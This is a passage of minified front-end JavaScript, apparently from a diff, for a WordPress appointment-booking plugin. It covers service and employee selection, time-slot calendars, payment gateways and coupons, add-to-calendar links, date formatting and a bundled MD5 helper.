class="column-price">',s+=Se(t),s+="</th>",s+="</tr>",s+="</tbody>",s+="</table>"),s}(this.cart.getOrder());this.$depositTable.html(e),this.$paymentGatewayButtons.filter(":checked").length>0&&this.toggleDepositSection()}let e=this.$order.find(".mpa-remove-coupon");e.length>0&&e.on("click",this.removeCoupon.bind(this)),this.toggleAvailablePaymentMethods()}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.cart.setPaymentDetails({coupon_code:""}),this.notifyCartChanged(),this.updateOrderDetails(),this.couponSection.reset()}toggleAvailablePaymentMethods(){const e=0===this.cart.getTotalPrice();if(e)this.setGatewayId("free",!1);else{const e=this.$paymentGatewayButtons.filter(":checked");e.length>0&&this.setGatewayId(e[0].value,e[0].dataset.isOnlinePayment)}this.$billingSection.toggleClass("mpa-hide",e),this.$paymentGatewayButtons.prop("required",!e)}loadGateways(){let e=this.$billingSection.find(".mpa-payment-gateways");this.gateways=je.createGateways(e,this.cart);let t=[];for(let e in this.gateways)t.push(this.gateways[e].load());return t}loadDrafts(){const e={...this.cart.toArray(),payment:!0};return c("/bookings/draft",{...wp.hooks.applyFilters("mpa_booking_draft_data",e),nonce:mpaData.nonces.mpa_create_drafts}).then((e=>{this.bookingDetails={booking_id:e.booking_id,payment_id:e.payment_id};const t={booking_id:e.booking_id,payment_id:e.payment_id};this.cart.setPaymentDetails(t),this.cart.setBookingNonce(e.booking_nonce)}),(e=>{this.setErrorMessage(e.message)})).then((()=>(this.enableGateways(),this)))}enableGateways(){this.$paymentGatewayButtons.prop("disabled",!1)}initDefaultGateway(){let e=this.$paymentGatewayButtons.filter(":checked");e.length>0&&this.gateways[e.val()].enable()}isValidInput(){return this.isValidGatewayId()&&this.isValidGateway()&&this.isValidAcceptTerms()}isValidGatewayId(){return""!==this.gatewayId}isValidGateway(){return!(this.gatewayId in this.gateways)||this.gateways[this.gatewayId].isValid()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||this.acceptTerms}afterUpdate(e,t,s){s in this.gateways&&this.gateways[s].disable(),t in this.gateways&&this.gateways[t].enable()}react(){super.react(),this.$buttonNext.prop("disabled",!1)}maybeSubmit(){if(this.couponSection&&this.couponSection.disable(),this.gatewayId in this.gateways){let e=this.gateways[this.gatewayId].processPayment(this.cart,this.bookingDetails);return"object"==typeof e&&"function"==typeof e.then&&e.then((e=>(this.cart.setPaymentDetails(e),e)),(e=>{this.setErrorMessage(e.message)})),e}}cancelSubmission(){super.cancelSubmission(),this.couponSection&&this.couponSection.enable()}}class Ge extends pe{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash="",this.monthSlots={},this.date="",this.time="",this.datepicker=null,this.$dateWrapper=this.$element.find(".mpa-date-wrapper"),this.$dateInput=this.$element.find(".mpa-date"),this.$timeWrapper=this.$element.find(".mpa-time-wrapper"),this.$times=this.$timeWrapper.find(".mpa-times"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return"period"}getCartContext(){return"cart item"}propertiesSchema(){return{date:{type:"string",default:""},time:{type:"string",default:""}}}addListeners(){super.addListeners(),this.$dateInput.on("change",(e=>this.setProperty("date",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash("availability"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,"availability")?(this.$element.removeClass("mpa-loaded"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash="",this.monthSlots={},this.resetDate()}isValidInput(){return""!=this.date&&""!=this.time}resetDate(){this.resetProperty("date")}resetTime(){this.$times.empty(),this.resetProperty("time")}setEnabledDays(e){F(e,!0)?this.datepicker.set("enable",["2000-01-01"]):this.datepicker.set("enable",e)}afterUpdate(e,t,s){"date"==e&&(""==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass("mpa-hide",""==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=function(e,t){let s=t.locale||m().settings().getFlatpickrLocale(),i=flatpickr.l10ns[s]||s;"object"==typeof i&&(i.firstDayOfWeek=m().settings().getFirstDayOfWeek());let a={formatDate:f,inline:!0,locale:i,monthSelectorType:"static",showMonths:1};t=jQuery.extend({},a,t);let r=null;return r=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),r}(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:m().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=b(this.date),e.time=new Y(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),s=t[0],i=t[1];null===e.employee&&e.setEmployee(s,!1),null===e.location&&e.setLocation(i,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent("mpa_add_to_cart",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent("mpa_view_cart",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t);const i=this.monthSlots[s];if(i&&Object.keys(i).length>0){const e=Object.keys(i)[0],t=Object.keys(i[e])[0];this.datepicker.setDate(e,!0);this.$times.children(".mpa-time-period").filter(((e,s)=>s.getAttribute("date-time")===t)).trigger("click"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let s=this.monthSlots[t][this.date];for(let t in s)if(t===this.time){let i=s[t];e[0]=i[0][0],e[1]=i[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass("mpa-loaded");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t),i=null;if(this.monthSlots[s])i=Promise.resolve(this.monthSlots[s]);else{i=function(e,t,s,i){return h("/calendar/time",{service_id:e,employee_in:i.employee_in?i.employee_in.join(","):"",location_in:i.location_in?i.location_in.join(","):"",date_from:f(t,"internal"),date_to:f(s,"internal"),exclude_cart:i.exclude_cart?i.exclude_cart:[]}).catch((e=>console.error("Failed to make time slots in mpa_time_slots().",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([i,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[s]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass("mpa-loaded"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray("items")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let s=0;for(let t in e){let i=new Y(t).toString("public",'<span class="mpa-period-end-time"> - ')+"</span>",a=this.cartItem.getService();if(a.isGroupService()){let s=a.getMinCapacity();for(let i of e[t])s=Math.max(s,i[3]);i+=" ",i+='<span class="mpa-slot-capacity">',i+='<span class="mpa-slot-capacity-label">'+a.getQuantityLabel()+":</span>",i+="&nbsp;",i+='<span class="mpa-slot-capacity-number">'+s+"</span>",i+="</span>"}let r=ye(i,{class:"button button-secondary mpa-time-period","date-time":t});this.$times.append(r),s++}s>0?this.$times.children(".mpa-time-period").on("click",(e=>this.onTime(e,e.currentTarget))):this.$times.text(u("Sorry, but we were unable to allocate time slots for the date you selected.","motopress-appointment"))}getMonthKey(e,t){return t<=8?e+"-0"+(t+1):e+"-"+(t+1)}getCurrentMonthKey(){if(""!==this.date){let e=b(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return"2000-01"}onTime(e,t){this.$times.children(".mpa-time-period-selected").removeClass("mpa-time-period-selected"),t.classList.add("mpa-time-period-selected"),this.setProperty("time",t.getAttribute("date-time"))}}class ze extends pe{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category="",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(".mpa-service-form"),this.$categories=this.$element.find(".mpa-service-category-wrapper"),this.$services=this.$element.find(".mpa-service-wrapper"),this.$employees=this.$element.find(".mpa-employee-wrapper"),this.$locations=this.$element.find(".mpa-location-wrapper"),this.$selects=this.$element.find(".mpa-input-wrapper select"),this.$categoriesSelect=this.$selects.filter(".mpa-service-category"),this.$servicesSelect=this.$selects.filter(".mpa-service"),this.$employeesSelect=this.$selects.filter(".mpa-employee"),this.$locationsSelect=this.$selects.filter(".mpa-location"),this.unselectedServiceText=this.$servicesSelect.children('[value=""]').text(),this.unselectedOptionText=this.$selects.filter(".mpa-optional-select").first().find("option:first").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return"service-form"}getCartContext(){return"cart item"}propertiesSchema(){return{category:{type:"string",default:""},serviceId:{type:"integer",default:0},employeeId:{type:"integer",default:0},locationId:{type:"integer",default:0}}}addListeners(){super.addListeners(),this.$form.on("submit",this.submitForm.bind(this)),this.$categoriesSelect.on("change",(e=>this.setProperty("category",e.target.value))),this.$servicesSelect.on("change",(e=>this.setProperty("serviceId",e.target.value))),this.$employeesSelect.on("change",(e=>this.setProperty("employeeId",e.target.value))),this.$locationsSelect.on("change",(e=>this.setProperty("locationId",e.target.value)))}isHiddenElementByProp(e){const t=e.attr("data-is-hidden");return void 0!==t&&"false"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr("data-default")){const s=this.$categoriesSelect.attr("data-default");this.isValidCategoryBySchema(s)?e=s:t=!1}this.setProperty("category",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass("mpa-hide",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr("data-default")){const s=j(this.$servicesSelect.attr("data-default"));this.isValidServiceBySchema(s)?e=s:t=!1}this.setProperty("serviceId",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass("mpa-hide",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr("data-default")){const s=j(this.$employeesSelect.attr("data-default"));this.isValidEmployeeBySchema(s)?e=s:t=!1}this.setProperty("employeeId",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass("mpa-hide",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr("data-default")){const s=j(this.$locationsSelect.attr("data-default"));this.isValidLocationBySchema(s)?e=s:t=!1}this.setProperty("locationId",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass("mpa-hide",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let s=e[t].attr("data-default");s?this.setProperty(t,s):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map(j)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map(j)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map(j)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,s){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),"category"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in e||(this.resetProperty("serviceId"),this.resetProperty("employeeId"),this.resetProperty("locationId"))}}react(){super.react(),this.$categoriesSelect.val(this.category||""),this.$servicesSelect.val(this.serviceId||""),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass("mpa-selected",""!=this.category),this.$servicesSelect.toggleClass("mpa-selected",0!=this.serviceId),this.$employeesSelect.toggleClass("mpa-selected",0!=this.employeeId),this.$locationsSelect.toggleClass("mpa-selected",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop("disabled",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let s;const i=parseInt(this.serviceId,10);if(i>0){const t=this.availabilityService.getServiceCategories(i);s=ne(re(e,Object.keys(t)))}else s=null;const a=oe(e,t,s),r=this.category||"";we(this.$categoriesSelect,{"":this.unselectedOptionText},a,r),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.serviceId?"":String(this.serviceId);we(this.$servicesSelect,{"":this.unselectedServiceText},t,s),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.employeeId?"0":String(this.employeeId);we(this.$employeesSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.locationId?"0":String(this.locationId);we(this.$locationsSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}show(){this.$servicesSelect.prop("required",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop("required",!1)}enable(){super.enable(),this.$selects.prop("disabled",!1)}disable(){super.disable(),this.$selects.prop("disabled",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error("Unable to get active cart item in StepServiceForm.maybeSubmit().");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent("mpa_view_item",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,"entities")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,"entities"))}}}class Qe{constructor(e){this.$element=e,this.$message=this.$element.children(".mpa-message"),this.cart=new L,this.steps=new ce(this.cart),this.load()}setupSteps(){this.steps.addStep(new ze(this.$element.find(".mpa-booking-step-service-form"),this.cart)).addStep(new Ge(this.$element.find(".mpa-booking-step-period"),this.cart)).addStep(new $e(this.$element.find(".mpa-booking-step-cart"),this.cart)).addStep(new De(this.$element.find(".mpa-booking-step-checkout"),this.cart)),m().settings().isPaymentsEnabled()&&this.steps.addStep(new We(this.$element.find(".mpa-booking-step-payment"),this.cart)),this.steps.addStep(new ue(this.$element.find(".mpa-booking-step-booking"),this.cart)),this.steps.mount(this.$element)}load(){this.cart.createItem();let e=new he;Promise.all([e.load(),m().settings().ready()]).finally((()=>{this.setupSteps(),this.steps.getStep("service-form").setAvailabilityService(e),this.steps.getStep("period").setAvailabilityService(e),this.show(),e.isEmpty()?(this.$message.html(u("Sorry, there are no services, employees or locations to book.","motopress-appointment")),this.$message.removeClass("mpa-hide")):this.steps.goToNextStep()}))}show(){this.$element.addClass("mpa-loaded")}}class Ye extends Qe{constructor(e){super(e.children(".widget-body").first())}}jQuery(".appointment-form-shortcode").each(((e,t)=>{new Qe(jQuery(t))})),jQuery(".appointment-form-widget").each(((e,t)=>{new Ye(jQuery(t))})),jQuery(document).ready((function(){m().settings().ready().then((()=>{jQuery(".mpa-booking-details-section [data-reservation-id]").each(((e,t)=>{let s=jQuery(t);const i=s.data("reservation-id"),a=new Date(s.data("start-time")),r=new Date(s.data("end-time")),n=s.data("service-name"),o=s.data("employee-name")+". "+s.data("quantity-label")+": "+s.data("capacity")+".",l=s.data("location-name"),h=de.createICSURL(i,a,r,n,o,l),c=de.createGoogleCalendarURL(a,r,n,o,l),p=de.createYahooCalendarURL(a,r,n,o,l);s.find(".mpa-add-to-calendar-link--google").attr("href",c),s.find(".mpa-add-to-calendar-link--apple").attr("href",h),s.find(".mpa-add-to-calendar-link--outlook").attr("href",h),s.find(".mpa-add-to-calendar-link--yahoo").attr("href",p)}))}))}))}(wp.date,mpaData,intlTelInput)}();
+!function(){"use strict";!function(e,t,s){function i(e){return e.filter(((e,t,s)=>s.indexOf(e)===t))}function a(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function r(e,t){let s=Math.min(e.length,t.length),i={};for(let a=0;a<s;a++)i[e[a]]=t[a];return i}function n(e,t,s=1){let i=s||1,a=Math.abs(Math.floor((t-e)/i))+1;return[...Array(a).keys()].map((t=>t*s+e))}let o="/motopress/appointment/v1";function l(e,t={},s="GET"){return new Promise(((i,a)=>{wp.apiRequest({path:o+e,type:s,data:t}).done((e=>i(e))).fail(((e,t)=>{let s="parsererror";s=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,"parsererror"==s&&(s="REST request failed. Maybe PHP error on the server side. Check PHP logs."),a(new Error(s))}))}))}function h(e,t={}){return l(e,t,"GET")}function c(e,t){return l(e,t,"POST")}class p{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:"Appointment Booking",today:"2030-01-01",business_name:"",default_time_step:30,default_booking_status:"confirmed",confirmation_mode:"auto",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:"",currency:"EUR",currency_symbol:"&euro;",currency_position:"before",decimal_separator:".",thousand_separator:",",number_of_decimals:2,timezone:"UTC",date_format:"F j, Y",time_format:"H:i",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:"en",enable_payments:!1,active_gateways:[],reservation_received_page_url:"",failed_transaction_page_url:"",default_payment_gateway:""}}load(){return new Promise(((e,t)=>{h("/settings").then((e=>this.settings=e),(e=>console.error("Unable to load public settings.",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class d{constructor(){this.settingsCtrl=new p,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==d.instance&&(d.instance=new d),d.instance}}function m(){return d.getInstance()}const u="undefined"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t="")=>e,g="undefined"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,s="")=>e;"undefined"!=typeof wp&&wp.i18n&&wp.i18n.sprintf&&wp.i18n.sprintf;const y={weekdays:{shorthand:[u("Sun","motopress-appointment"),u("Mon","motopress-appointment"),u("Tue","motopress-appointment"),u("Wed","motopress-appointment"),u("Thu","motopress-appointment"),u("Fri","motopress-appointment"),u("Sat","motopress-appointment")],longhand:[u("Sunday","motopress-appointment"),u("Monday","motopress-appointment"),u("Tuesday","motopress-appointment"),u("Wednesday","motopress-appointment"),u("Thursday","motopress-appointment"),u("Friday","motopress-appointment"),u("Saturday","motopress-appointment")]},months:{shorthand:[u("Jan","motopress-appointment"),u("Feb","motopress-appointment"),u("Mar","motopress-appointment"),u("Apr","motopress-appointment"),g("May","Month (short)","motopress-appointment"),u("Jun","motopress-appointment"),u("Jul","motopress-appointment"),u("Aug","motopress-appointment"),u("Sep","motopress-appointment"),u("Oct","motopress-appointment"),u("Nov","motopress-appointment"),u("Dec","motopress-appointment")],longhand:[u("January","motopress-appointment"),u("February","motopress-appointment"),u("March","motopress-appointment"),u("April","motopress-appointment"),g("May","Month","motopress-appointment"),u("June","motopress-appointment"),u("July","motopress-appointment"),u("August","motopress-appointment"),u("September","motopress-appointment"),u("October","motopress-appointment"),u("November","motopress-appointment"),u("December","motopress-appointment")]},amPM:["AM","PM"],firstDayOfWeek:m().settings().getFirstDayOfWeek()};function f(t,s="public"){if("string"==typeof t)return t;if("internal"==s)return f(t,"Y-m-d");if("public"==s)return e.format(m().settings().getDateFormat(),t);let i=(e,t=2)=>("00"+e).slice(-t),a=!1;return s.split("").map((e=>{if(a)return a=!1,e;switch(e){case"\\":return a=!0,"";case"j":return t.getDate();case"d":return i(t.getDate());case"D":return y.weekdays.shorthand[t.getDay()];case"l":return y.weekdays.longhand[t.getDay()];case"N":return t.getDay()||7;case"w":return t.getDay();case"z":let s=new Date(t.getFullYear(),0,1),r=s.getTimezoneOffset()-t.getTimezoneOffset(),n=t-s+60*r*1e3,o=864e5;return Math.floor(n/o);case"W":let l=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate())),h=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-h);let c=new Date(Date.UTC(l.getUTCFullYear(),0,1)),p=864e5;return Math.ceil(((l-c)/p+1)/7);case"F":return y.months.longhand[t.getMonth()];case"M":return y.months.shorthand[t.getMonth()];case"m":return i(t.getMonth()+1);case"n":return t.getMonth()+1;case"t":return new Date(t.getFullYear(),t.getMonth()+1,0).getDate();case"Y":return t.getFullYear();case"y":return String(t.getFullYear()).substring(2);case"L":return t.getFullYear()%4==0?1:0;case"A":return y.amPM[t.getHours()>11?1:0];case"a":return y.amPM[t.getHours()>11?1:0].toLowerCase();case"H":return i(t.getHours());case"h":return i(t.getHours()%12||12);case"G":return t.getHours();case"g":return t.getHours()%12||12;case"i":return i(t.getMinutes());case"s":return i(t.getSeconds());case"v":return i(t.getMilliseconds(),3);case"u":return i(t.getMilliseconds(),3)+"000";case"O":case"P":let d=-t.getTimezoneOffset(),m=d>=0?"+":"-",u=Math.floor(Math.abs(d)/60),g=Math.abs(d)%60,b="O"==e?"":":";return m+i(u)+b+i(g);case"Z":return 60*t.getTimezoneOffset();case"U":return Math.floor(t.getTime()/1e3);case"c":return f(t,"Y-m-d\\TH:i:sP");case"r":return f(t,"D, d M Y H:i:s O");case"S":case"o":case"B":case"e":case"T":case"I":return"";default:return e}})).join("")}function b(e){let t=e.match(/(\d{4})-(\d{2})-(\d{2})/);if(null!=t){let e=parseInt(t[1]),s=parseInt(t[2]),i=parseInt(t[3]);return new Date(e,s-1,i)}return null}function v(){let e=new Date;return e.setHours(0,0,0,0),e}function S(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var _,P,C={exports:{}},w={exports:{}};_="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",P={rotl:function(e,t){return e<<t|e>>>32-t},rotr:function(e,t){return e<<32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&P.rotl(e,8)|4278255360&P.rotl(e,24);for(var t=0;t<e.length;t++)e[t]=P.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],s=0,i=0;s<e.length;s++,i+=8)t[i>>>5]|=e[s]<<24-i%32;return t},wordsToBytes:function(e){for(var t=[],s=0;s<32*e.length;s+=8)t.push(e[s>>>5]>>>24-s%32&255);return t},bytesToHex:function(e){for(var t=[],s=0;s<e.length;s++)t.push((e[s]>>>4).toString(16)),t.push((15&e[s]).toString(16));return t.join("")},hexToBytes:function(e){for(var t=[],s=0;s<e.length;s+=2)t.push(parseInt(e.substr(s,2),16));return t},bytesToBase64:function(e){for(var t=[],s=0;s<e.length;s+=3)for(var i=e[s]<<16|e[s+1]<<8|e[s+2],a=0;a<4;a++)8*s+6*a<=8*e.length?t.push(_.charAt(i>>>6*(3-a)&63)):t.push("=");return t.join("")},base64ToBytes:function(e){e=e.replace(/[^A-Z0-9+\/]/gi,"");for(var t=[],s=0,i=0;s<e.length;i=++s%4)0!=i&&t.push((_.indexOf(e.charAt(s-1))&Math.pow(2,-2*i+8)-1)<<2*i|_.indexOf(e.charAt(s))>>>6-2*i);return t}},w.exports=P;var k=w.exports,$={utf8:{stringToBytes:function(e){return $.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape($.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],s=0;s<e.length;s++)t.push(255&e.charCodeAt(s));return t},bytesToString:function(e){for(var t=[],s=0;s<e.length;s++)t.push(String.fromCharCode(e[s]));return t.join("")}}},T=$,I=function(e){return null!=e&&(D(e)||function(e){return"function"==typeof e.readFloatLE&&"function"==typeof e.slice&&D(e.slice(0,0))}(e)||!!e._isBuffer)};function D(e){return!!e.constructor&&"function"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=k,t=T.utf8,s=I,i=T.bin,a=function(r,n){r.constructor==String?r=n&&"binary"===n.encoding?i.stringToBytes(r):t.stringToBytes(r):s(r)?r=Array.prototype.slice.call(r,0):Array.isArray(r)||r.constructor===Uint8Array||(r=r.toString());for(var o=e.bytesToWords(r),l=8*r.length,h=1732584193,c=-271733879,p=-1732584194,d=271733878,m=0;m<o.length;m++)o[m]=16711935&(o[m]<<8|o[m]>>>24)|4278255360&(o[m]<<24|o[m]>>>8);o[l>>>5]|=128<<l%32,o[14+(l+64>>>9<<4)]=l;var u=a._ff,g=a._gg,y=a._hh,f=a._ii;for(m=0;m<o.length;m+=16){var 